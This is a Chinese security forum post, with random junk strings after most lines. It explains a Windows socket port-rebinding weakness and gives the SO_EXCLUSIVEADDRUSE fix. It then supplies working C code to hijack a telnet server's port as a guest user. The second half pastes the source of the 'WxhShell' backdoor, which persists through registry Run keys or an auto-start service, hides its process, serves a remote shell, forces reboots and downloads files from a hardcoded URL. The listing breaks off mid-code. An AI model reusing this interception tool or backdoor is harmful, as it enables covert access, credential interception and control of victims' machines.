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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M"B@M5KT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S4)A6z$  
kAeNQRjR  
  saddr.sin_family = AF_INET; KYf;_C,$  
fL2^\dB;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $5x]%1 R  
g#}tm<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9Yn)t#G'`F  
:b5XKv^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W]zwghxH  
.ots?Ns  
  这意味着什么?意味着可以进行如下的攻击: }Fm\+JOS   
?&6Q%IUW1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D!S8oKW  
^@K WYAAW5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8]HY. $E  
Si]X rub  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gn^!"MN+g  
`4skwvS=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G~(& 3  
aV#h5s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \ZsP]};*  
2 ^oGwx @  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @C=m?7O98  
9ZhDZ~)p,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gX_SKy  
QAi1,+y]7w  
  #include u3ST;  
  #include ^;4YZwW5w  
  #include a5)JkC  
  #include    ncj!KyU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #hy+ L  
  int main() AC'lS >7s  
  { :mP9^Do2;  
  WORD wVersionRequested; <n\i>A3`,S  
  DWORD ret; AJdp6@O +  
  WSADATA wsaData; a(f(R&-:$Y  
  BOOL val; 'mJ13  
  SOCKADDR_IN saddr; +X[8wUm|^  
  SOCKADDR_IN scaddr; SwX@I6huM  
  int err; NZP7r;u  
  SOCKET s; =-5[Hn%  
  SOCKET sc; @i{]4rk lv  
  int caddsize; /e(W8aszi  
  HANDLE mt; AX K95eS  
  DWORD tid;   50 *@.!^*  
  wVersionRequested = MAKEWORD( 2, 2 ); 2 eHx"Ha  
  err = WSAStartup( wVersionRequested, &wsaData ); &}E:jt}  
  if ( err != 0 ) { [83>T ,  
  printf("error!WSAStartup failed!\n"); 6#vI;d[^  
  return -1; w{r8kH  
  } %i595Ij-]  
  saddr.sin_family = AF_INET; %jT w  
   +!><5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :]-$dEu&  
KGD'mByt"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w,/6B&|  
  saddr.sin_port = htons(23); %mu>-hac  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '-.wFB;  
  { zIm-X,~I$  
  printf("error!socket failed!\n"); h 1*FPsc  
  return -1; 5VZjDg?  
  } =|"= l1  
  val = TRUE; w&5/Zh[~~L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (gU2"{:]J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]w-.|vx  
  { F 3s?&T)[G  
  printf("error!setsockopt failed!\n"); DN<M?u]  
  return -1; ?<6@^X"  
  } AOAO8%|I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j_V/GnEQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /?U!y?t&@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b`zET^F  
|EEi&GOR(y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QXY}STs  
  { 7D9]R#-K  
  ret=GetLastError(); ]Zk}ZG>6  
  printf("error!bind failed!\n"); ~ aA;<#  
  return -1; t#~XLCE  
  } _*n)mlLln  
  listen(s,2); 7@3sUA_Go  
  while(1) 0qR$J  
  { [8z&-'J=  
  caddsize = sizeof(scaddr); cJ/4G l  
  //接受连接请求 Yt*vqm[WV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4DM*^=9E  
  if(sc!=INVALID_SOCKET) c=aO5(i0  
  { xl,ryc3J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y;eoT J  
  if(mt==NULL) Tyd h9I  
  { 6]ZO'Nwo  
  printf("Thread Creat Failed!\n"); |6*Va%LYO-  
  break; {=iyK/Uf  
  } O2lIlCL  
  } ju.OW`GM  
  CloseHandle(mt); p6Gcts?,  
  } ayeCi8  
  closesocket(s); Qsji0ikG  
  WSACleanup(); 37jQ'O U  
  return 0; LihdZ )  
  }   N iISJWk6'  
  DWORD WINAPI ClientThread(LPVOID lpParam) `;/XK,m-  
  { uY]T:UVk  
  SOCKET ss = (SOCKET)lpParam; R"{l[9j4>  
  SOCKET sc; `I#`:hj  
  unsigned char buf[4096]; lRH0)5`  
  SOCKADDR_IN saddr; Bq{ ]Eh0%  
  long num; [4\aYB9N  
  DWORD val; |*fNH(8&H  
  DWORD ret; ,Z5Fea  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cd&B?\I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    Fs)  
  saddr.sin_family = AF_INET; qRl/Sl#F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4m\([EO  
  saddr.sin_port = htons(23); DJ|BM+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *m&%vj.Kc  
  { jzMg'z/@J  
  printf("error!socket failed!\n"); `)2[ST  
  return -1; oLw|uU-|  
  } gmDR{loX  
  val = 100; h1c{?xH2r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K"^cq~   
  { Kr]W o8dWy  
  ret = GetLastError(); x{?sn  
  return -1; 5{>>,pP&  
  } fp tIc#4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1!1DuQ  
  { wHWma)}-z  
  ret = GetLastError(); tUv3jq)n%  
  return -1; 2qXo{C3  
  } 4|=vxJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;AJ< LC  
  { `@MPkC y1  
  printf("error!socket connect failed!\n"); T5q-" W6\  
  closesocket(sc); r,"7%1I  
  closesocket(ss); m_$JWv\|\  
  return -1; K( z[ }  
  } MH FaSl  
  while(1) "qE {a>d  
  { 3(o7co-f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f B7ljg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <5k&)EoT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cd+^=esSO  
  num = recv(ss,buf,4096,0); DyIV/  
  if(num>0) -!~vA+jw1  
  send(sc,buf,num,0); kF?S 2(vH  
  else if(num==0) 3>M.]w6{  
  break; }7Jp :.qk  
  num = recv(sc,buf,4096,0); 5;(0 $4I  
  if(num>0) #4N >d~  
  send(ss,buf,num,0); p {?}g'  
  else if(num==0) (V)9s\Le_  
  break; 7IQqN&J  
  } 2m_H*1 HJ  
  closesocket(ss); 0mVuD\#=!  
  closesocket(sc); mt I MW9  
  return 0 ; 0Nt%YP  
  } o6|"J%9GX  
ng 9NE8F  
PqI![KxZW  
========================================================== %z2oDAjX  
:l;,m}#@  
下边附上一个代码,,WXhSHELL 6&mWIk^VC  
8yvJ`eL-  
========================================================== *0\k Z,#BJ  
&1~Re.* B  
#include "stdafx.h" H) cQO?B  
*#6|!%?g  
#include <stdio.h> R}hlDJ/m-  
#include <string.h> Y&:/~&'  
#include <windows.h> ^Eu_NUFe  
#include <winsock2.h> 5!8-)J-H  
#include <winsvc.h> [WYJrk.  
#include <urlmon.h> }H; ]k-)  
XHZLW h"gS  
#pragma comment (lib, "Ws2_32.lib") 8;0 ^'Qr8  
#pragma comment (lib, "urlmon.lib") ~T7\8K+ $  
 7BS/T  
#define MAX_USER   100 // 最大客户端连接数 H6{Rd+\Z  
#define BUF_SOCK   200 // sock buffer QY =QQG  
#define KEY_BUFF   255 // 输入 buffer ^(J-dK  
Cc*|Zw  
#define REBOOT     0   // 重启 8TI#7  
#define SHUTDOWN   1   // 关机 <ip)r;  
y+= \z*9  
#define DEF_PORT   5000 // 监听端口 ZRO.bMgZF  
)Yrr%f`\  
#define REG_LEN     16   // 注册表键长度 v|>BDN@,6  
#define SVC_LEN     80   // NT服务名长度 tpE3|5dZF  
=uS8>.Qj  
// 从dll定义API TtZrttCE6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `!_?uT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N4s$.`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nl=+.d6 Qo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +yvBSpY  
0$!.c~  
// wxhshell配置信息 sv@}x[L  
struct WSCFG { #|q;t   
  int ws_port;         // 监听端口 ,rXW`7!2  
  char ws_passstr[REG_LEN]; // 口令 bu;vpNa  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Px:d+wX:  
  char ws_regname[REG_LEN]; // 注册表键名 XGL"gD   
  char ws_svcname[REG_LEN]; // 服务名 aK-N}T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eZ[#+0J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iKY-;YK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jD<9=B(g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :ECw \_"0$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C>M6&=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oUCVd}wH  
:%pw`b, =V  
}; [&fWF~D-p<  
=g1D;  
// default Wxhshell configuration 1/!nV  
struct WSCFG wscfg={DEF_PORT, Qve`k<Cj"  
    "xuhuanlingzhe", K:C+/O  
    1, 7~:>WMv9  
    "Wxhshell", Kgps_tY%  
    "Wxhshell", Gtf1}UJC  
            "WxhShell Service", 2 e )  
    "Wrsky Windows CmdShell Service", gZ=) qT]Pj  
    "Please Input Your Password: ", ;wfH^2HxE)  
  1, :LG}yq^  
  "http://www.wrsky.com/wxhshell.exe", YK7gd|LR]  
  "Wxhshell.exe" ?! !;XW  
    }; x>'?IJZ  
/\Jc:v#Q  
// 消息定义模块 -0/=k_q_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {3jm%ex  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ $ 9m>6V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *'s&/vEy  
char *msg_ws_ext="\n\rExit."; nsy !p5o  
char *msg_ws_end="\n\rQuit."; P"U>tsHK:  
char *msg_ws_boot="\n\rReboot..."; [qq`cT@  
char *msg_ws_poff="\n\rShutdown..."; dV'6m@C  
char *msg_ws_down="\n\rSave to "; L>eQ*311  
l@ (t^68OD  
char *msg_ws_err="\n\rErr!"; Z(#XFXd  
char *msg_ws_ok="\n\rOK!"; 34HFrMi  
X}kVBT1w+x  
char ExeFile[MAX_PATH]; <1v{[F_  
int nUser = 0; 'Wd3`4V$  
HANDLE handles[MAX_USER]; ikeJDKSG  
int OsIsNt; @?(nwj~ s`  
+ ?[ ACZF  
SERVICE_STATUS       serviceStatus; T "ZQPLg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @DRfNJ}  
\3,$YlG  
// 函数声明 %jYQ  
int Install(void); \;4L~_2$q  
int Uninstall(void); -<u- +CbuT  
int DownloadFile(char *sURL, SOCKET wsh); Z1 E` I89<  
int Boot(int flag); Q3'(f9 x  
void HideProc(void); ] `b<"  
int GetOsVer(void); [J(@$Qix  
int Wxhshell(SOCKET wsl); WlF+unB!9  
void TalkWithClient(void *cs); )cf p(16  
int CmdShell(SOCKET sock); R V_MWv  
int StartFromService(void); d{vc wZQ  
int StartWxhshell(LPSTR lpCmdLine); ot&j HS'  
$yP'k&b!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9J't[( u|u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qen44;\L  
 WMt&8W5  
// 数据结构和表定义 ~7FEY0/  
SERVICE_TABLE_ENTRY DispatchTable[] = ^' edE5  
{ /TR"\xQF  
{wscfg.ws_svcname, NTServiceMain}, qJe&jLZa  
{NULL, NULL} 4+Li)A:4.  
}; p7?CeyZ-V  
k:&?$  
// 自我安装 NXC~#oG  
int Install(void) ^Y1AeJ$L  
{ 1t} (+NNjH  
  char svExeFile[MAX_PATH]; o+PQ;Dl  
  HKEY key; HY@kw>I  
  strcpy(svExeFile,ExeFile); 8,Q. t7v  
\rB/83[;u  
// 如果是win9x系统,修改注册表设为自启动 U)IsTk~}O  
if(!OsIsNt) { 7zz(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oRtY?6^$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bqf]$}/8k  
  RegCloseKey(key); %tklup]LF8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dK-  ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :~qtvs;{  
  RegCloseKey(key);  Y,<WX v  
  return 0; f D]An<  
    } ]DL> .<]d  
  } ,Jw\3T1V  
} .~V".tZV[  
else { x0TnS #  
3\+[38 _  
// 如果是NT以上系统,安装为系统服务 VdjU2d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cz$H k;3\6  
if (schSCManager!=0) jSOa   
{ q_%w l5\F  
  SC_HANDLE schService = CreateService \6nQ-S_  
  ( wnZ*k(  
  schSCManager, Xm0&U?dZB  
  wscfg.ws_svcname, oK(W)[u  
  wscfg.ws_svcdisp, [xp~@5r'  
  SERVICE_ALL_ACCESS, <*b]JY V@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iPtm@f,bI  
  SERVICE_AUTO_START,  CU7iva  
  SERVICE_ERROR_NORMAL, j|VlHDqR  
  svExeFile, }(vOaD|k=  
  NULL, {U+9,6.`  
  NULL, MFCbx>#  
  NULL, pXh^M{.  
  NULL, z?IY3]v*z<  
  NULL :*w:eKk  
  ); `,8R~-GPD  
  if (schService!=0) p0:&7,+a,  
  { 4u{E D(  
  CloseServiceHandle(schService); Cx1Sh#9  
  CloseServiceHandle(schSCManager); z!t3xFN&/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kr+Bt y  
  strcat(svExeFile,wscfg.ws_svcname); A{n*NxKCX!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x"h)"Y[c5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :a^,Ei-&  
  RegCloseKey(key); I _Mqh4];  
  return 0; 0 6G[^  
    } F~uA-g  
  } 9b=^"K  
  CloseServiceHandle(schSCManager); 2kmna/Qa6  
} e5:l6`  
} !MG>z\:  
L{o >D"  
return 1; >> 8KL`l  
} .ON$vn7  
*|.yX%"k  
// 自我卸载 Ow&'sR'CX  
int Uninstall(void) Y;I(6`,Y  
{ a_#eGe>  
  HKEY key; w!GU~0~3[  
[b)K@Ha  
if(!OsIsNt) { %]= 'Uv^x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Yg[8Tm#  
  RegDeleteValue(key,wscfg.ws_regname); bQ:3G;  
  RegCloseKey(key); OB? 79l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UdM5R [  
  RegDeleteValue(key,wscfg.ws_regname); H&>>]DD  
  RegCloseKey(key); ;wYwiSVd  
  return 0; L-X _b3E\  
  } #D*J5k>2  
} *7D$;?"  
} uvK%d\d  
else { " :nVigw&  
;r@R (Squ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bU g2Bm!y  
if (schSCManager!=0) +Muia5G  
{ y[7xK}`_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `'k's]Y  
  if (schService!=0) Sr#fyr  
  { iJp!ROI  
  if(DeleteService(schService)!=0) { t BXsWY{  
  CloseServiceHandle(schService); YaE['a  
  CloseServiceHandle(schSCManager); @SMy0:c:  
  return 0; {TN@KB  
  } ] !*  
  CloseServiceHandle(schService); c K}  
  } 6;=wuoJi  
  CloseServiceHandle(schSCManager); mYs->mg1  
} G QB^  
} HI`A;G]  
d-S'y-V?d  
return 1; sB1tce  
} PFn[[~5V  
6s"bstc{  
// 从指定url下载文件 *]UEF_  
int DownloadFile(char *sURL, SOCKET wsh) . L6@Rs  
{ y7L4jO9h  
  HRESULT hr; >A@D;vx  
char seps[]= "/"; >~bj7M6t  
char *token; gZ%O<XO  
char *file;  Vgb>3]SU  
char myURL[MAX_PATH]; X72X:"  
char myFILE[MAX_PATH]; -H]f@|AOw  
`\FjO"  
strcpy(myURL,sURL); o5G"J"vxe  
  token=strtok(myURL,seps); s$y#Ufz  
  while(token!=NULL) /v ;Kb|e  
  { a0W\?  
    file=token; TXOW/{B  
  token=strtok(NULL,seps); M>z7H"jCu  
  } Q1&dB{L  
B+H9c~3$  
GetCurrentDirectory(MAX_PATH,myFILE); rls#g w  
strcat(myFILE, "\\"); \rnG 1o  
strcat(myFILE, file); FoXQ]X7"  
  send(wsh,myFILE,strlen(myFILE),0); -v+^x`HR  
send(wsh,"...",3,0); BNm va  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ol5xyj  
  if(hr==S_OK) }c#/1J7  
return 0; )PATz #  
else Kxaz^$5Y$  
return 1; -/{}^ QWB  
U\GZ  
} V4i%|vV  
N S}`(N  
// 系统电源模块 ]SR`96vG  
int Boot(int flag) "^e?E:( 3  
{ Gbm_xEPC  
  HANDLE hToken; M[N.H9  
  TOKEN_PRIVILEGES tkp; t4c#' y  
imq(3?  
  if(OsIsNt) { J#Eh x|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bvRGTOxO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >"{zrwNq  
    tkp.PrivilegeCount = 1; YqCK#zT/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w=>mG-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +rO<'H:umJ  
if(flag==REBOOT) { b1^Yxe#L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 29DWRJU  
  return 0; zi[M{bm  
} )P+GklI{4  
else { 'm? x2$u8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R'HA>?D  
  return 0; u9~J1s<e  
} mnaD KeA  
  } R*fR?  
  else { Z_WTMs:x!  
if(flag==REBOOT) { wz)9/bL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8mddI  
  return 0; ?bDae%>.d,  
} (uc)^lfX  
else { F@K;A%us)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;@s~t:u  
  return 0; 8J U~Q  
} ?t P/VL  
} ''07Km@x  
]7 mSM  
return 1; ~,-O  
} ?^ 5*[H  
s hvcc  
// win9x进程隐藏模块 * %BI*p  
void HideProc(void) <s3(   
{ n{ WJ.Y*  
9?,.zc^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z5'nS&x  
  if ( hKernel != NULL ) {# _C  
  { f+~!s 2uw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eakIK+-21y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4x=Y9w0?8  
    FreeLibrary(hKernel); PdBhX  
  } L4Y3\4xXO  
dV  
return;  IomJo  
} #vwXxr  
 kovzB]  
// 获取操作系统版本 JAlsc]XtO9  
int GetOsVer(void) 74Wg@! P  
{ Wy )g449  
  OSVERSIONINFO winfo; t+q`h3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E1g$WhXIS  
  GetVersionEx(&winfo); 1\{F.v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S6X<3L`FfH  
  return 1; Rx-i.EtZ  
  else zD-8#H35X"  
  return 0; +N_%|!F-c  
} 'A2"&6m)28  
cLP @0`^H  
// 客户端句柄模块 %n,bPa>T  
int Wxhshell(SOCKET wsl) 1 R9/AP  
{ 1 to<at-NN  
  SOCKET wsh; ^k##a-t<_>  
  struct sockaddr_in client; Jz'+@q6h  
  DWORD myID; K 5[ 3WHQ  
<Rt@z|Zv  
  while(nUser<MAX_USER) B(dL`]@Xm  
{ nJg2O@mRJ  
  int nSize=sizeof(client); rM |RGe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^u,x~nPXg  
  if(wsh==INVALID_SOCKET) return 1; hh}EDnx  
NZP,hAUK,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B[V=l<J  
if(handles[nUser]==0) _,~zy9{,  
  closesocket(wsh); f'U]Ik;Jy  
else fTgN2U  
  nUser++; 'YZs6rcJ  
  } [G/X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hm*#HT%#  
;d40:q<  
  return 0; ro@BmRMW  
} {NDP}UATw  
 Z.JTq~`I  
// 关闭 socket KZNyp%q  
void CloseIt(SOCKET wsh) /d'u1FnA =  
{ Pc1N~?}.  
closesocket(wsh); :[3\jLrc  
nUser--; c*Nbz,:  
ExitThread(0); 4/|=0TC;  
} UMaKvr-C&  
t57b)5{FM  
// 客户端请求句柄 lh5d6VUA  
void TalkWithClient(void *cs) s'I$yJ)@2E  
{ &pz8vWCk  
yqwr0yDAl  
  SOCKET wsh=(SOCKET)cs; v g]&T  
  char pwd[SVC_LEN]; 5yID%  
  char cmd[KEY_BUFF]; l?[DO?m+R  
char chr[1]; gId+hxFa:r  
int i,j; }JsdgO&z  
l!,{bOZ  
  while (nUser < MAX_USER) { Ls{fCi/2F  
,L G&sa"  
if(wscfg.ws_passstr) { swrd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p3'+"sFU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &EOh}O<  
  //ZeroMemory(pwd,KEY_BUFF); Ui&$/%Z|  
      i=0; X;NTz75  
  while(i<SVC_LEN) { %54![-@  
~T~v*'_h  
  // 设置超时 #v-!GK_<  
  fd_set FdRead; ./'n2$^3  
  struct timeval TimeOut; ?da3Azp  
  FD_ZERO(&FdRead); IpxjP\  
  FD_SET(wsh,&FdRead); kZNZ?A<D  
  TimeOut.tv_sec=8; b&1@rE-  
  TimeOut.tv_usec=0; r "R\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D~:fn|/Brp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s-B\8&^C  
X'm2uOEj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8h97~$7)  
  pwd=chr[0]; Jk*MxlA.b  
  if(chr[0]==0xd || chr[0]==0xa) { 9':$!Eoq  
  pwd=0; T2{+fR v N  
  break; KX`,7-  
  } ?x97 q3I+]  
  i++; K~]jXo^M  
    } jo~Pr  
#,56vVY  
  // 如果是非法用户,关闭 socket k s}o9[D3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 51vK>  
} :y)'qv[  
PR+!CFi&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )-@EUN0E>5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)<tyIHd  
5z _)  
while(1) { +,lD_{}_  
Ou^dI  
  ZeroMemory(cmd,KEY_BUFF); U VT8TN-T  
! bp"pa9  
      // 自动支持客户端 telnet标准   qJ@?[|2R  
  j=0; $H^6I8>  
  while(j<KEY_BUFF) { sq_:U_tJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $$@Tgkg?o  
  cmd[j]=chr[0]; ? &O$ayG77  
  if(chr[0]==0xa || chr[0]==0xd) { |}; ~YMH  
  cmd[j]=0; Tx5L   
  break; ect?9S[!y  
  } ,#G@ri:B  
  j++; pK4)>q  
    } _OY;SJ(  
5IMH G%W7  
  // 下载文件 E !8y|_(j  
  if(strstr(cmd,"http://")) { NmQ]qv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4jpF^&y7u^  
  if(DownloadFile(cmd,wsh))  J{y@ O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T*IudxW  
  else G\Me%{b#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S%@$J~\rx  
  } IQDWH/ c  
  else { |Xag:hof  
Ut+mm\7  
    switch(cmd[0]) { bA)Xjq)Rr  
  ^?2txLv,6  
  // 帮助 [3.rG!Na  
  case '?': { /y0 )r.R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fp7Qb $-A  
    break; [>-k(D5D  
  } }=U\v'%m  
  // 安装 <da! #12L  
  case 'i': { =T$E lXwJ  
    if(Install()) ')BQ 0sg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); so7;h$h!H  
    else ld $`5!Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W.a/k7 p  
    break; L6a8%%`  
    } ' |Oi#S  
  // 卸载 k=@Q#=;*[W  
  case 'r': { C$bK!]a  
    if(Uninstall()) DB0xIP~i,?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z|W=.RdA;  
    else Z8 T{Xw6%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0pR04"`;  
    break; 3 *G=U  
    } SCjACQ}-  
  // 显示 wxhshell 所在路径 EP[ gq  
  case 'p': { L,WK L.  
    char svExeFile[MAX_PATH]; =4zsAa  
    strcpy(svExeFile,"\n\r"); HiC\U%We  
      strcat(svExeFile,ExeFile); ,'!&Z *  
        send(wsh,svExeFile,strlen(svExeFile),0); ; H3kb +  
    break; #'T|,xIr-Q  
    } /$n${M5!  
  // 重启 8X%;29tow  
  case 'b': { $\bH 5|Hk]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @:[/uqL  
    if(Boot(REBOOT)) nXN0~,+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^<94l  
    else { I$Z"o9"  
    closesocket(wsh); +|.#<]GA  
    ExitThread(0); {b?)|@)is  
    } F JzjS;  
    break; -l\@50, D  
    } zm e:U![  
  // 关机 ,Xn%-OT  
